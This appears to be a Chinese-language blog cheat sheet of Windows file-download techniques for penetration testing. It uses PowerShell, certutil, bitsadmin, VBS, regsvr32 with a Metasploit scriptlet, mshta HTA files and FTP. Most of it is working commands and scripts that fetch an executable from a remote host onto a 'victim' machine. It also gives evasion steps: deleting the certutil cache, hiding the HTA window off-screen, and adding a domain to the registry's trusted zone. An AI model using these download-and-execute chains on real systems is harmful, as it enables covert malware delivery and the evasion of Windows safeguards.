美文网首页
Window下的文件下载汇总-未完待续

Window下的文件下载汇总-未完待续

作者: 挖低危的清风 | 来源:发表于2019-12-19 17:10 被阅读0次

1.使用 powershell 的 Syetem.Net.WebClient 进行下载

powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')

2.使用 Invoke-WebRequest 进行下载

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")

3.使用 certutil

注:certutil用于备份证书服务xp-win10都支持,由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

#下载文件
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe calc3.exe
#删除缓存
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe delete

4.使用 bitsadmin

注:bitsadmin是一个命令行工具,可用于创建下载或上载作业并监视其进度
适用范围:"Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012,Windows 7,Windows 10"

bitsadmin /transfer n https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe C:\Users\31030\Desktop\tools\test\calc4.exe

5.利用VBS脚本进行下载

注:将其保存为VBS脚本,可直接在CMD中进行运行。再实际运用中可以选择使用echo写入到文件中,在运行

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc5.exe"
ado.Close
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc6.exe"
ado.Close

6.regsvr32

注:regsvr32表示Microsoft注册服务
语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

这里我使用msf来做个演示

msfconsole
客户端执行
regsvr32
受害机已经上线


这里来简单看一下,首先msf是启动了一个服务,并生成了一个.sct文件。并且可以看到,这个文件中使用WScript.shell 去调用了powershell下载并执行另外一段powershell命令。

所以到这里,我们也就可以通过自己构造.sct文件,去下载执行我们的程序。这里我使用的是上面VBS代码去下载的文件。当然我们也可以通过new ActiveXObject("WScript.Shell").Run()去执行命令或者运行程序。
sct文件如下:
<?XML version="1.0"?>
<scriptlet>
    <registration progid="Lwj8h8Cd" classid="{d27b2c13-7e63-b507-eaf0-b4fb4df40559}">
        <script language="VBScript.Encode">
            <![CDATA[ 
                Const adTypeBinary = 1
                Const adSaveCreateOverWrite = 2
                Dim http,ado
                Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
                http.SetOption 2, 13056
                http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
                http.send
                Set ado = createobject("Adodb.Stream")
                ado.Type = adTypeBinary
                ado.Open
                ado.Write http.responseBody
                ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc8.exe"
                ado.Close
                ]]>
        </script>
    </registration> 
</scriptlet>

7.mshta

mshta用于执行.hta文件。而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。
如下:

<HTML> 
<meta http-equiv="x-ua-compatible" content="text/html; charset=utf-8; IE=5">
<HEAD> 
<script language="VBScript.Encode">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc9.exe"
ado.Close
</script>
<body>
test file
</body>
</HEAD> 
</HTML>

这里我把hta文件放到博客中进行测试,mshta提示了错误,其错误原因是我们的域名并不受信任。


而Windows的受信任域名保存在注册表(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains)中,所以我们可以命令行中直接添加注册表即可
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\holdontoyourheart.github.io" /v https /t REG_DWORD /d 0x00000002 /f

可以看到在注册表中已经添加了我们的域名,并且在Internet中的受信任站点也将我们的域名显示出来。


这个时候我们在去执行一次,可以发现已经成功下载

之所以需要添加到受信任站点,才能执行下载程序的操作是因为Windows本身的安全限制所导致的。所以当我们通过VBScript去下载未信任域名中的程序的时候就会受到限制。

但是我们却可以通过不受信任的域名,使用VBS去执行命令。这里我先将注册表中的信任域名进行删除。然后利用hta文件启动计算器。这里没有任何错误提示
代码如下:
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>

运行效果
所以到这里,我们能够通过mshta去执行命令,那么我们就可以完全不必再局限于通过VBS去进行下载了。这里我们尝试调用powershell去进行下载。
hat代码如下:
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell (Invoke-WebRequest -Uri 'https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe' -OutFile 'C:\Users\31030\Desktop\tools\test\calc10.exe')"
self.close
</script>
<body>
test
</body>
</HEAD> 
</HTML>

运行效果:(由于我没有使用hidden进行隐藏,所以在运行的时候回弹出一个powershell的界面出来)

mshta https://holdontoyourheart.github.io/2019/01/02/Nessus%E6%8A%A5%E5%91%8A%E6%B1%89%E5%8C%96%E7%AF%87%E4%BA%8C/1.hta

8.ftp

首先我在我的win7虚拟机创建了一个ftp服务器。地址为192.168.52.128

ftp_server
然后我在物理机中执行以下命令
#首先将命令使用ehco写入到文件中
echo open 192.168.52.128  >a.txt & echo get calc.exe>>a.txt &echo bye>>a.txt
#使用ftp进行下载,可以看到已经下载成功。
ftp -A -s:a.txt

ftp命令总结参考:https://www.cnblogs.com/judes/p/9674413.html

目前就整理了这些。后续如果有新姿势会继续更新!

相关文章

网友评论

      本文标题:Window下的文件下载汇总-未完待续

      本文链接:https://www.haomeiwen.com/subject/klqvnctx.html